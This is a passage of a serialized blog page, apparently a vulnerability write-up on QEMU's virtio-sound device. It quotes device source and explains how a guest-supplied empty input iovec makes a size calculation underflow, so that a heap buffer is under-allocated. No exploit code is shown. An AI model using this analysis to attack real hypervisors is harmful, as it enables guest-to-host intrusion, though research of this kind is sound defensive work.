",{"type":24,"tag":158,"props":125214,"children":125215},{"style":222},[125216],{"type":29,"value":577},{"type":24,"tag":158,"props":125218,"children":125219},{"style":188},[125220],{"type":29,"value":125221},"stream;\n",{"type":24,"tag":158,"props":125223,"children":125224},{"class":160,"line":1527},[125225],{"type":24,"tag":158,"props":125226,"children":125227},{"emptyLinePlaceholder":16},[125228],{"type":29,"value":481},{"type":24,"tag":158,"props":125230,"children":125231},{"class":160,"line":1545},[125232,125237,125241,125246,125251,125255,125260],{"type":24,"tag":158,"props":125233,"children":125234},{"style":188},[125235],{"type":29,"value":125236}," elem ",{"type":24,"tag":158,"props":125238,"children":125239},{"style":222},[125240],{"type":29,"value":1285},{"type":24,"tag":158,"props":125242,"children":125243},{"style":496},[125244],{"type":29,"value":125245}," virtqueue_pop",{"type":24,"tag":158,"props":125247,"children":125248},{"style":188},[125249],{"type":29,"value":125250},"(vq, ",{"type":24,"tag":158,"props":125252,"children":125253},{"style":165},[125254],{"type":29,"value":56600},{"type":24,"tag":158,"props":125256,"children":125257},{"style":188},[125258],{"type":29,"value":125259},"(VirtQueueElement));",{"type":24,"tag":158,"props":125261,"children":125262},{"style":2588},[125263],{"type":29,"value":125264}," // [1]\n",{"type":24,"tag":158,"props":125266,"children":125267},{"class":160,"line":1618},[125268,125272,125276,125280],{"type":24,"tag":158,"props":125269,"children":125270},{"style":1914},[125271],{"type":29,"value":4936},{"type":24,"tag":158,"props":125273,"children":125274},{"style":188},[125275],{"type":29,"value":2262},{"type":24,"tag":158,"props":125277,"children":125278},{"style":222},[125279],{"type":29,"value":21865},{"type":24,"tag":158,"props":125281,"children":125282},{"style":188},[125283],{"type":29,"value":125284},"elem) {\n",{"type":24,"tag":158,"props":125286,"children":125287},{"class":160,"line":1635},[125288,125292],{"type":24,"tag":158,"props":125289,"children":125290},{"style":1914},[125291],{"type":29,"value":4961},{"type":24,"tag":158,"props":125293,"children":125294},{"style":188},[125295],{"type":29,"value":473},{"type":24,"tag":158,"props":125297,"children":125298},{"class":160,"line":1644},[125299],{"type":24,"tag":158,"props":125300,"children":125301},{"style":188},[125302],{"type":29,"value":5010},{"type":24,"tag":158,"props":125304,"children":125305},{"class":160,"line":1652},[125306],{"type":24,"tag":158,"props":125307,"children":125308},{"emptyLinePlaceholder":16},[125309],{"type":29,"value":481},{"type":24,"tag":158,"props":125311,"children":125312},{"class":160,"line":1704},[125313],{"type":24,"tag":158,"props":125314,"children":125315},{"style":188},[125316],{"type":29,"value":125317}," [...]\n",{"type":24,"tag":158,"props":125319,"children":125320},{"class":160,"line":1713},[125321],{"type":24,"tag":158,"props":125322,"children":125323},{"emptyLinePlaceholder":16},[125324],{"type":29,"value":481},{"type":24,"tag":158,"props":125326,"children":125327},{"class":160,"line":1731},[125328,125333,125337,125341,125345,125349,125354],{"type":24,"tag":158,"props":125329,"children":125330},{"style":496},[125331],{"type":29,"value":125332}," WITH_QEMU_LOCK_GUARD",{"type":24,"tag":158,"props":125334,"children":125335},{"style":188},[125336],{"type":29,"value":504},{"type":24,"tag":158,"props":125338,"children":125339},{"style":222},[125340],{"type":29,"value":2212},{"type":24,"tag":158,"props":125342,"children":125343},{"style":177},[125344],{"type":29,"value":37525},{"type":24,"tag":158,"props":125346,"children":125347},{"style":188},[125348],{"type":29,"value":14991},{"type":24,"tag":158,"props":125350,"children":125351},{"style":177},[125352],{"type":29,"value":125353},"queue_mutex",{"type":24,"tag":158,"props":125355,"children":125356},{"style":188},[125357],{"type":29,"value":16038},{"type":24,"tag":158,"props":125359,"children":125360},{"class":160,"line":5485},[125361,125366,125370,125375,125379,125383,125387,125392,125396,125400,125404,125409,125413],{"type":24,"tag":158,"props":125362,"children":125363},{"style":188},[125364],{"type":29,"value":125365}," size ",{"type":24,"tag":158,"props":125367,"children":125368},{"style":222},[125369],{"type":29,"value":1285},{"type":24,"tag":158,"props":125371,"children":125372},{"style":496},[125373],{"type":29,"value":125374}," iov_size",{"type":24,"tag":158,"props":125376,"children":125377},{"style":188},[125378],{"type":29,"value":504},{"type":24,"tag":158,"props":125380,"children":125381},{"style":177},[125382],{"type":29,"value":53336},{"type":24,"tag":158,"props":125384,"children":125385},{"style":188},[125386],{"type":29,"value":14991},{"type":24,"tag":158,"props":125388,"children":125389},{"style":177},[125390],{"type":29,"value":125391},"in_sg",{"type":24,"tag":158,"props":125393,"children":125394},{"style":188},[125395],{"type":29,"value":191},{"type":24,"tag":158,"props":125397,"children":125398},{"style":177},[125399],{"type":29,"value":53336},{"type":24,"tag":158,"props":125401,"children":125402},{"style":188},[125403],{"type":29,"value":14991},{"type":24,"tag":158,"props":125405,"children":125406},{"style":177},[125407],{"type":29,"value":125408},"in_num",{"type":24,"tag":158,"props":125410,"children":125411},{"style":188},[125412],{"type":29,"value":723},{"type":24,"tag":158,"props":125414,"children":125415},{"style":222},[125416],{"type":29,"value":52133},{"type":24,"tag":158,"props":125418,"children":125419},{"class":160,"line":5493},[125420,125425,125430],{"type":24,"tag":158,"props":125421,"children":125422},{"style":165},[125423],{"type":29,"value":125424}," sizeof",{"type":24,"tag":158,"props":125426,"children":125427},{"style":188},[125428],{"type":29,"value":125429},"(virtio_snd_pcm_status);",{"type":24,"tag":158,"props":125431,"children":125432},{"style":2588},[125433],{"type":29,"value":125434}," // [2]\n",{"type":24,"tag":158,"props":125436,"children":125437},{"class":160,"line":5553},[125438,125443,125447,125452,125456,125460,125465,125469],{"type":24,"tag":158,"props":125439,"children":125440},{"style":188},[125441],{"type":29,"value":125442}," buffer ",{"type":24,"tag":158,"props":125444,"children":125445},{"style":222},[125446],{"type":29,"value":1285},{"type":24,"tag":158,"props":125448,"children":125449},{"style":496},[125450],{"type":29,"value":125451}," g_malloc0",{"type":24,"tag":158,"props":125453,"children":125454},{"style":188},[125455],{"type":29,"value":504},{"type":24,"tag":158,"props":125457,"children":125458},{"style":165},[125459],{"type":29,"value":56600},{"type":24,"tag":158,"props":125461,"children":125462},{"style":188},[125463],{"type":29,"value":125464},"(VirtIOSoundPCMBuffer) ",{"type":24,"tag":158,"props":125466,"children":125467},{"style":222},[125468],{"type":29,"value":728},{"type":24,"tag":158,"props":125470,"children":125471},{"style":188},[125472],{"type":29,"value":125473}," size);\n",{"type":24,"tag":158,"props":125475,"children":125476},{"class":160,"line":10636},[125477,125482,125486,125490,125494],{"type":24,"tag":158,"props":125478,"children":125479},{"style":177},[125480],{"type":29,"value":125481}," buffer",{"type":24,"tag":158,"props":125483,"children":125484},{"style":188},[125485],{"type":29,"value":14991},{"type":24,"tag":158,"props":125487,"children":125488},{"style":177},[125489],{"type":29,"value":53336},{"type":24,"tag":158,"props":125491,"children":125492},{"style":222},[125493],{"type":29,"value":462},{"type":24,"tag":158,"props":125495,"children":125496},{"style":188},[125497],{"type":29,"value":125498}," elem;\n",{"type":24,"tag":158,"props":125500,"children":125501},{"class":160,"line":10652},[125502,125506,125510,125514,125518],{"type":24,"tag":158,"props":125503,"children":125504},{"style":177},[125505],{"type":29,"value":125481},{"type":24,"tag":158,"props":125507,"children":125508},{"style":188},[125509],{"type":29,"value":14991},{"type":24,"tag":158,"props":125511,"children":125512},{"style":177},[125513],{"type":29,"value":125150},{"type":24,"tag":158,"props":125515,"children":125516},{"style":222},[125517],{"type":29,"value":462},{"type":24,"tag":158,"props":125519,"children":125520},{"style":188},[125521],{"type":29,"value":125522}," vq;\n",{"type":24,"tag":158,"props":125524,"children":125525},{"class":160,"line":10696},[125526,125530,125534,125539,125543,125547],{"type":24,"tag":158,"props":125527,"children":125528},{"style":177},[125529],{"type":29,"value":125481},{"type":24,"tag":158,"props":125531,"children":125532},{"style":188},[125533],{"type":29,"value":14991},{"type":24,"tag":158,"props":125535,"children":125536},{"style":177},[125537],{"type":29,"value":125538},"size",{"type":24,"tag":158,"props":125540,"children":125541},{"style":222},[125542],{"type":29,"value":462},{"type":24,"tag":158,"props":125544,"children":125545},{"style":465},[125546],{"type":29,"value":2025},{"type":24,"tag":158,"props":125548,"children":125549},{"style":188},[125550],{"type":29,"value":473},{"type":24,"tag":158,"props":125552,"children":125553},{"class":160,"line":10801},[125554,125558,125562,125566,125570,125574],{"type":24,"tag":158,"props":125555,"children":125556},{"style":177},[125557],{"type":29,"value":125481},{"type":24,"tag":158,"props":125559,"children":125560},{"style":188},[125561],{"type":29,"value":14991},{"type":24,"tag":158,"props":125563,"children":125564},{"style":177},[125565],{"type":29,"value":15135},{"type":24,"tag":158,"props":125567,"children":125568},{"style":222},[125569],{"type":29,"value":462},{"type":24,"tag":158,"props":125571,"children":125572},{"style":465},[125573],{"type":29,"value":2025},{"type":24,"tag":158,"props":125575,"children":125576},{"style":188},[125577],{"type":29,"value":473},{"type":24,"tag":158,"props":125579,"children":125580},{"class":160,"line":24754},[125581,125586,125590,125594,125598,125602,125607,125612],{"type":24,"tag":158,"props":125582,"children":125583},{"style":496},[125584],{"type":29,"value":125585}," QSIMPLEQ_INSERT_TAIL",{"type":24,"tag":158,"props":125587,"children":125588},{"style":188},[125589],{"type":29,"value":504},{"type":24,"tag":158,"props":125591,"children":125592},{"style":222},[125593],{"type":29,"value":2212},{"type":24,"tag":158,"props":125595,"children":125596},{"style":177},[125597],{"type":29,"value":37525},{"type":24,"tag":158,"props":125599,"children":125600},{"style":188},[125601],{"type":29,"value":14991},{"type":24,"tag":158,"props":125603,"children":125604},{"style":177},[125605],{"type":29,"value":125606},"queue",{"type":24,"tag":158,"props":125608,"children":125609},{"style":188},[125610],{"type":29,"value":125611},", buffer, entry);",{"type":24,"tag":158,"props":125613,"children":125614},{"style":2588},[125615],{"type":29,"value":53901},{"type":24,"tag":158,"props":125617,"children":125618},{"class":160,"line":24789},[125619],{"type":24,"tag":158,"props":125620,"children":125621},{"style":188},[125622],{"type":29,"value":5010},{"type":24,"tag":158,"props":125624,"children":125625},{"class":160,"line":24797},[125626,125631],{"type":24,"tag":158,"props":125627,"children":125628},{"style":1914},[125629],{"type":29,"value":125630}," continue",{"type":24,"tag":158,"props":125632,"children":125633},{"style":188},[125634],{"type":29,"value":473},{"type":24,"tag":158,"props":125636,"children":125637},{"class":160,"line":24805},[125638],{"type":24,"tag":158,"props":125639,"children":125640},{"emptyLinePlaceholder":16},[125641],{"type":29,"value":481},{"type":24,"tag":158,"props":125643,"children":125644},{"class":160,"line":24814},[125645],{"type":24,"tag":158,"props":125646,"children":125647},{"style":188},[125648],{"type":29,"value":125317},{"type":24,"tag":158,"props":125650,"children":125651},{"class":160,"line":24856},[125652],{"type":24,"tag":158,"props":125653,"children":125654},{"style":188},[125655],{"type":29,"value":307},{"type":24,"tag":25,"props":125657,"children":125658},{},[125659,125661,125667,125669,125675,125677,125682,125683,125689],{"type":29,"value":125660},"At ",{"type":24,"tag":154,"props":125662,"children":125664},{"className":125663},[],[125665],{"type":29,"value":125666},"[1]",{"type":29,"value":125668},", a ",{"type":24,"tag":154,"props":125670,"children":125672},{"className":125671},[],[125673],{"type":29,"value":125674},"VirtQueueElement *elem",{"type":29,"value":125676}," is popped from the virtqueue. It contains the ",{"type":24,"tag":154,"props":125678,"children":125680},{"className":125679},[],[125681],{"type":29,"value":125391},{"type":29,"value":1826},{"type":24,"tag":154,"props":125684,"children":125686},{"className":125685},[],[125687],{"type":29,"value":125688},"out_sg",{"type":29,"value":125690}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":24,"tag":25,"props":125692,"children":125693},{},[125694,125696,125702,125704,125710,125712,125718,125720,125726,125728,125734],{"type":29,"value":125695},"Further at ",{"type":24,"tag":154,"props":125697,"children":125699},{"className":125698},[],[125700],{"type":29,"value":125701},"[2]",{"type":29,"value":125703},", the device computes the size of the data buffer as ",{"type":24,"tag":154,"props":125705,"children":125707},{"className":125706},[],[125708],{"type":29,"value":125709},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":125711},". That value is then used in the allocation: ",{"type":24,"tag":154,"props":125713,"children":125715},{"className":125714},[],[125716],{"type":29,"value":125717},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":125719},". Finally, at ",{"type":24,"tag":154,"props":125721,"children":125723},{"className":125722},[],[125724],{"type":29,"value":125725},"[3]",{"type":29,"value":125727},", the newly allocated buffer is appended to the ",{"type":24,"tag":154,"props":125729,"children":125731},{"className":125730},[],[125732],{"type":29,"value":125733},"stream->queue",{"type":29,"value":125735}," linked list.",{"type":24,"tag":25,"props":125737,"children":125738},{},[125739,125741,125746,125748,125753,125755,125760,125762,125768],{"type":29,"value":125740},"Because both the ",{"type":24,"tag":154,"props":125742,"children":125744},{"className":125743},[],[125745],{"type":29,"value":125391},{"type":29,"value":125747}," iovec and the ",{"type":24,"tag":154,"props":125749,"children":125751},{"className":125750},[],[125752],{"type":29,"value":125408},{"type":29,"value":125754}," field are guest-controlled, and there is no check that the total ",{"type":24,"tag":154,"props":125756,"children":125758},{"className":125757},[],[125759],{"type":29,"value":125391},{"type":29,"value":125761}," size is at least ",{"type":24,"tag":154,"props":125763,"children":125765},{"className":125764},[],[125766],{"type":29,"value":125767},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":125769},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":24,"tag":25,"props":125771,"children":125772},{},[125773,125775,125780,125782,125788,125790,125796,125798,125804],{"type":29,"value":125774},"From the guest driver, we can provide an empty ",{"type":24,"tag":154,"props":125776,"children":125778},{"className":125777},[],[125779],{"type":29,"value":125391},{"type":29,"value":125781}," iovec. In that case, the calculation becomes ",{"type":24,"tag":154,"props":125783,"children":125785},{"className":125784},[],[125786],{"type":29,"value":125787},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":125789},", so the allocation size effectively becomes ",{"type":24,"tag":154,"props":125791,"children":125793},{"className":125792},[],[125794],{"type":29,"value":125795},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":125797},". Given the definition of ",{"type":24,"tag":154,"props":125799,"children":125801},{"className":125800},[],[125802],{"type":29,"value":125803},"VirtIOSoundPCMBuffer",{"type":29,"value":225},{"type":24,"tag":147,"props":125806,"children":125808},{"code":125807,"language":2907,"meta":7,"className":17751,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[125809],{"type":24,"tag":154,"props":125810,"children":125811},{"__ignoreMap":7},[125812,125824,125837,125852,125869,125881,125893,125901,125913,125933],{"type":24,"tag":158,"props":125813,"children":125814},{"class":160,"line":161},[125815,125819],{"type":24,"tag":158,"props":125816,"children":125817},{"style":165},[125818],{"type":29,"value":168},{"type":24,"tag":158,"props":125820,"children":125821},{"style":188},[125822],{"type":29,"value":125823}," VirtIOSoundPCMBuffer {\n",{"type":24,"tag":158,"props":125825,"children":125826},{"class":160,"line":213},[125827,125832],{"type":24,"tag":158,"props":125828,"children":125829},{"style":496},[125830],{"type":29,"value":125831}," QSIMPLEQ_ENTRY",{"type":24,"tag":158,"props":125833,"children":125834},{"style":188},[125835],{"type":29,"value":125836},"(VirtIOSoundPCMBuffer) entry;\n",{"type":24,"tag":158,"props":125838,"children":125839},{"class":160,"line":238},[125840,125844,125848],{"type":24,"tag":158,"props":125841,"children":125842},{"style":188},[125843],{"type":29,"value":125169},{"type":24,"tag":158,"props":125845,"children":125846},{"style":222},[125847],{"type":29,"value":577},{"type":24,"tag":158,"props":125849,"children":125850},{"style":188},[125851],{"type":29,"value":125178},{"type":24,"tag":158,"props":125853,"children":125854},{"class":160,"line":259},[125855,125860,125864],{"type":24,"tag":158,"props":125856,"children":125857},{"style":188},[125858],{"type":29,"value":125859}," VirtQueue ",{"type":24,"tag":158,"props":125861,"children":125862},{"style":222},[125863],{"type":29,"value":577},{"type":24,"tag":158,"props":125865,"children":125866},{"style":188},[125867],{"type":29,"value":125868},"vq;\n",{"type":24,"tag":158,"props":125870,"children":125871},{"class":160,"line":280},[125872,125876],{"type":24,"tag":158,"props":125873,"children":125874},{"style":165},[125875],{"type":29,"value":17801},{"type":24,"tag":158,"props":125877,"children":125878},{"style":188},[125879],{"type":29,"value":125880}," size;\n",{"type":24,"tag":158,"props":125882,"children":125883},{"class":160,"line":301},[125884,125888],{"type":24,"tag":158,"props":125885,"children":125886},{"style":165},[125887],{"type":29,"value":56885},{"type":24,"tag":158,"props":125889,"children":125890},{"style":188},[125891],{"type":29,"value":125892}," offset;\n",{"type":24,"tag":158,"props":125894,"children":125895},{"class":160,"line":626},[125896],{"type":24,"tag":158,"props":125897,"children":125898},{"style":2588},[125899],{"type":29,"value":125900}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":24,"tag":158,"props":125902,"children":125903},{"class":160,"line":668},[125904,125908],{"type":24,"tag":158,"props":125905,"children":125906},{"style":165},[125907],{"type":29,"value":47743},{"type":24,"tag":158,"props":125909,"children":125910},{"style":188},[125911],{"type":29,"value":125912}," populated;\n",{"type":24,"tag":158,"props":125914,"children":125915},{"class":160,"line":676},[125916,125920,125924,125929],{"type":24,"tag":158,"props":125917,"children":125918},{"style":165},[125919],{"type":29,"value":59730},{"type":24,"tag":158,"props":125921,"children":125922},{"style":188},[125923],{"type":29,"value":16339},{"type":24,"tag":158,"props":125925,"children":125926},{"style":165},[125927],{"type":29,"value":125928},"[]",{"type":24,"tag":158,"props":125930,"children":125931},{"style":188},[125932],{"type":29,"value":473},{"type":24,"tag":158,"props":125934,"children":125935},{"class":160,"line":684},[125936],{"type":24,"tag":158,"props":125937,"children":125938},{"style":188},[125939],{"type":29,"value":17814},{"type":24,"tag":25,"props":125941,"children":125942},{},[125943,125945,125951,125953,125958,125960,125965,125967,125972,125974,125979,125981,125987],{"type":29,"value":125944},"That under-allocation removes the ",{"type":24,"tag":154,"props":125946,"children":125948},{"className":125947},[],[125949],{"type":29,"value":125950},"populated",{"type":29,"value":125952}," field along with the variable-sized ",{"type":24,"tag":154,"props":125954,"children":125956},{"className":125955},[],[125957],{"type":29,"value":5361},{"type":29,"value":125959}," array. As the comment says, ",{"type":24,"tag":154,"props":125961,"children":125963},{"className":125962},[],[125964],{"type":29,"value":125950},{"type":29,"value":125966}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":24,"tag":154,"props":125968,"children":125970},{"className":125969},[],[125971],{"type":29,"value":5672},{"type":29,"value":125973},", the device believes data should be ",{"type":24,"tag":154,"props":125975,"children":125977},{"className":125976},[],[125978],{"type":29,"value":5672},{"type":29,"value":125980}," byte, while the actual allocation is ",{"type":24,"tag":154,"props":125982,"children":125984},{"className":125983},[],[125985],{"type":29,"value":125986},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":347},{"type":24,"tag":20134,"props":125989,"children":125991},{"id":125990},"populating-data-buffers",[125992],{"type":29,"value":125993},"Populating Data Buffers",{"type":24,"tag":25,"props":125995,"children":125996},{},[125997],{"type":29,"value":125998},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":24,"tag":147,"props":126000,"children":126002},{"code":126001,"language":2907,"meta":7,"className":17751,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[126003],{"type":24,"tag":154,"props":126004,"children":126005},{"__ignoreMap":7},[126006,126013,126021,126028,126036,126044,126051,126100,126107,126133,126150,126162,126169,126201,126246,126286,126293,126301,126308,126333,126361,126385,126393,126405,126443,126456,126468,126475,126521,126558,126601,126622,126642,126662,126673,126680,126703,126719,126727,126734,126741,126748],{"type":24,"tag":158,"props":126007,"children":126008},{"class":160,"line":161},[126009],{"type":24,"tag":158,"props":126010,"children":126011},{"style":2588},[126012],{"type":29,"value":50637},{"type":24,"tag":158,"props":126014,"children":126015},{"class":160,"line":213},[126016],{"type":24,"tag":158,"props":126017,"children":126018},{"style":2588},[126019],{"type":29,"value":126020}," * AUD_* input callback.\n",{"type":24,"tag":158,"props":126022,"children":126023},{"class":160,"line":238},[126024],{"type":24,"tag":158,"props":126025,"children":126026},{"style":2588},[126027],{"type":29,"value":20731},{"type":24,"tag":158,"props":126029,"children":126030},{"class":160,"line":259},[126031],{"type":24,"tag":158,"props":126032,"children":126033},{"style":2588},[126034],{"type":29,"value":126035}," * @data: VirtIOSoundPCMStream stream\n",{"type":24,"tag":158,"props":126037,"children":126038},{"class":160,"line":280},[126039],{"type":24,"tag":158,"props":126040,"children":126041},{"style":2588},[126042],{"type":29,"value":126043}," * @available: number of bytes that can be read with AUD_read()\n",{"type":24,"tag":158,"props":126045,"children":126046},{"class":160,"line":301},[126047],{"type":24,"tag":158,"props":126048,"children":126049},{"style":2588},[126050],{"type":29,"value":125106},{"type":24,"tag":158,"props":126052,"children":126053},{"class":160,"line":626},[126054,126058,126062,126067,126071,126075,126079,126083,126087,126091,126096],{"type":24,"tag":158,"props":126055,"children":126056},{"style":165},[126057],{"type":29,"value":52316},{"type":24,"tag":158,"props":126059,"children":126060},{"style":165},[126061],{"type":29,"value":52321},{"type":24,"tag":158,"props":126063,"children":126064},{"style":496},[126065],{"type":29,"value":126066}," virtio_snd_pcm_in_cb",{"type":24,"tag":158,"props":126068,"children":126069},{"style":188},[126070],{"type":29,"value":504},{"type":24,"tag":158,"props":126072,"children":126073},{"style":165},[126074],{"type":29,"value":52899},{"type":24,"tag":158,"props":126076,"children":126077},{"style":222},[126078],{"type":29,"value":615},{"type":24,"tag":158,"props":126080,"children":126081},{"style":177},[126082],{"type":29,"value":5361},{"type":24,"tag":158,"props":126084,"children":126085},{"style":188},[126086],{"type":29,"value":191},{"type":24,"tag":158,"props":126088,"children":126089},{"style":165},[126090],{"type":29,"value":20289},{"type":24,"tag":158,"props":126092,"children":126093},{"style":177},[126094],{"type":29,"value":126095}," available",{"type":24,"tag":158,"props":126097,"children":126098},{"style":188},[126099],{"type":29,"value":2125},{"type":24,"tag":158,"props":126101,"children":126102},{"class":160,"line":668},[126103],{"type":24,"tag":158,"props":126104,"children":126105},{"style":188},[126106],{"type":29,"value":1710},{"type":24,"tag":158,"props":126108,"children":126109},{"class":160,"line":676},[126110,126115,126119,126124,126128],{"type":24,"tag":158,"props":126111,"children":126112},{"style":188},[126113],{"type":29,"value":126114}," VirtIOSoundPCMStream ",{"type":24,"tag":158,"props":126116,"children":126117},{"style":222},[126118],{"type":29,"value":577},{"type":24,"tag":158,"props":126120,"children":126121},{"style":188},[126122],{"type":29,"value":126123},"stream ",{"type":24,"tag":158,"props":126125,"children":126126},{"style":222},[126127],{"type":29,"value":1285},{"type":24,"tag":158,"props":126129,"children":126130},{"style":188},[126131],{"type":29,"value":126132}," data;\n",{"type":24,"tag":158,"props":126134,"children":126135},{"class":160,"line":684},[126136,126141,126145],{"type":24,"tag":158,"props":126137,"children":126138},{"style":188},[126139],{"type":29,"value":126140}," VirtIOSoundPCMBuffer ",{"type":24,"tag":158,"props":126142,"children":126143},{"style":222},[126144],{"type":29,"value":577},{"type":24,"tag":158,"props":126146,"children":126147},{"style":188},[126148],{"type":29,"value":126149},"buffer;\n",{"type":24,"tag":158,"props":126151,"children":126152},{"class":160,"line":700},[126153,126157],{"type":24,"tag":158,"props":126154,"children":126155},{"style":165},[126156],{"type":29,"value":17801},{"type":24,"tag":158,"props":126158,"children":126159},{"style":188},[126160],{"type":29,"value":126161}," size, max_size;\n",{"type":24,"tag":158,"props":126163,"children":126164},{"class":160,"line":785},[126165],{"type":24,"tag":158,"props":126166,"children":126167},{"emptyLinePlaceholder":16},[126168],{"type":29,"value":481},{"type":24,"tag":158,"props":126170,"children":126171},{"class":160,"line":1447},[126172,126177,126181,126185,126189,126193,126197],{"type":24,"tag":158,"props":126173,"children":126174},{"style":496},[126175],{"type":29,"value":126176}," WITH_QEMU_LOCK_GUARD",{"type":24,"tag":158,"props":126178,"children":126179},{"style":188},[126180],{"type":29,"value":504},{"type":24,"tag":158,"props":126182,"children":126183},{"style":222},[126184],{"type":29,"value":2212},{"type":24,"tag":158,"props":126186,"children":126187},{"style":177},[126188],{"type":29,"value":37525},{"type":24,"tag":158,"props":126190,"children":126191},{"style":188},[126192],{"type":29,"value":14991},{"type":24,"tag":158,"props":126194,"children":126195},{"style":177},[126196],{"type":29,"value":125353},{"type":24,"tag":158,"props":126198,"children":126199},{"style":188},[126200],{"type":29,"value":16038},{"type":24,"tag":158,"props":126202,"children":126203},{"class":160,"line":1509},[126204,126209,126213,126217,126222,126226,126230,126234,126238,126242],{"type":24,"tag":158,"props":126205,"children":126206},{"style":1914},[126207],{"type":29,"value":126208}," while",{"type":24,"tag":158,"props":126210,"children":126211},{"style":188},[126212],{"type":29,"value":2262},{"type":24,"tag":158,"props":126214,"children":126215},{"style":222},[126216],{"type":29,"value":21865},{"type":24,"tag":158,"props":126218,"children":126219},{"style":496},[126220],{"type":29,"value":126221},"QSIMPLEQ_EMPTY",{"type":24,"tag":158,"props":126223,"children":126224},{"style":188},[126225],{"type":29,"value":504},{"type":24,"tag":158,"props":126227,"children":126228},{"style":222},[126229],{"type":29,"value":2212},{"type":24,"tag":158,"props":126231,"children":126232},{"style":177},[126233],{"type":29,"value":37525},{"type":24,"tag":158,"props":126235,"children":126236},{"style":188},[126237],{"type":29,"value":14991},{"type":24,"tag":158,"props":126239,"children":126240},{"style":177},[126241],{"type":29,"value":125606},{"type":24,"tag":158,"props":126243,"children":126244},{"style":188},[126245],{"type":29,"value":36457},{"type":24,"tag":158,"props":126247,"children":126248},{"class":160,"line":1527},[126249,126253,126257,126262,126266,126270,126274,126278,126282],{"type":24,"tag":158,"props":126250,"children":126251},{"style":188},[126252],{"type":29,"value":125442},{"type":24,"tag":158,"props":126254,"children":126255},{"style":222},[126256],{"type":29,"value":1285},{"type":24,"tag":158,"props":126258,"children":126259},{"style":496},[126260],{"type":29,"value":126261}," QSIMPLEQ_FIRST",{"type":24,"tag":158,"props":126263,"children":126264},{"style":188},[126265],{"type":29,"value":504},{"type":24,"tag":158,"props":126267,"children":126268},{"style":222},[126269],{"type":29,"value":2212},{"type":24,"tag":158,"props":126271,"children":126272},{"style":177},[126273],{"type":29,"value":37525},{"type":24,"tag":158,"props":126275,"children":126276},{"style":188},[126277],{"type":29,"value":14991},{"type":24,"tag":158,"props":126279,"children":126280},{"style":177},[126281],{"type":29,"value":125606},{"type":24,"tag":158,"props":126283,"children":126284},{"style":188},[126285],{"type":29,"value":1071},{"type":24,"tag":158,"props":126287,"children":126288},{"class":160,"line":1545},[126289],{"type":24,"tag":158,"props":126290,"children":126291},{"emptyLinePlaceholder":16},[126292],{"type":29,"value":481},{"type":24,"tag":158,"props":126294,"children":126295},{"class":160,"line":1618},[126296],{"type":24,"tag":158,"props":126297,"children":126298},{"style":188},[126299],{"type":29,"value":126300}," [...]\n",{"type":24,"tag":158,"props":126302,"children":126303},{"class":160,"line":1635},[126304],{"type":24,"tag":158,"props":126305,"children":126306},{"emptyLinePlaceholder":16},[126307],{"type":29,"value":481},{"type":24,"tag":158,"props":126309,"children":126310},{"class":160,"line":1644},[126311,126316,126320,126324,126328],{"type":24,"tag":158,"props":126312,"children":126313},{"style":188},[126314],{"type":29,"value":126315}," max_size ",{"type":24,"tag":158,"props":126317,"children":126318},{"style":222},[126319],{"type":29,"value":1285},{"type":24,"tag":158,"props":126321,"children":126322},{"style":496},[126323],{"type":29,"value":125374},{"type":24,"tag":158,"props":126325,"children":126326},{"style":188},[126327],{"type":29,"value":504},{"type":24,"tag":158,"props":126329,"children":126330},{"style":2588},[126331],{"type":29,"value":126332}," // [1]\n",{"type":24,"tag":158,"props":126334,"children":126335},{"class":160,"line":1652},[126336,126341,126345,126349,126353,126357],{"type":24,"tag":158,"props":126337,"children":126338},{"style":177},[126339],{"type":29,"value":126340}," buffer",{"type":24,"tag":158,"props":126342,"children":126343},{"style":188},[126344],{"type":29,"value":14991},{"type":24,"tag":158,"props":126346,"children":126347},{"style":177},[126348],{"type":29,"value":53336},{"type":24,"tag":158,"props":126350,"children":126351},{"style":188},[126352],{"type":29,"value":14991},{"type":24,"tag":158,"props":126354,"children":126355},{"style":177},[126356],{"type":29,"value":125391},{"type":24,"tag":158,"props":126358,"children":126359},{"style":188},[126360],{"type":29,"value":235},{"type":24,"tag":158,"props":126362,"children":126363},{"class":160,"line":1704},[126364,126368,126372,126376,126380],{"type":24,"tag":158,"props":126365,"children":126366},{"style":177},[126367],{"type":29,"value":126340},{"type":24,"tag":158,"props":126369,"children":126370},{"style":188},[126371],{"type":29,"value":14991},{"type":24,"tag":158,"props":126373,"children":126374},{"style":177},[126375],{"type":29,"value":53336},{"type":24,"tag":158,"props":126377,"children":126378},{"style":188},[126379],{"type":29,"value":14991},{"type":24,"tag":158,"props":126381,"children":126382},{"style":177},[126383],{"type":29,"value":126384},"in_num\n",{"type":24,"tag":158,"p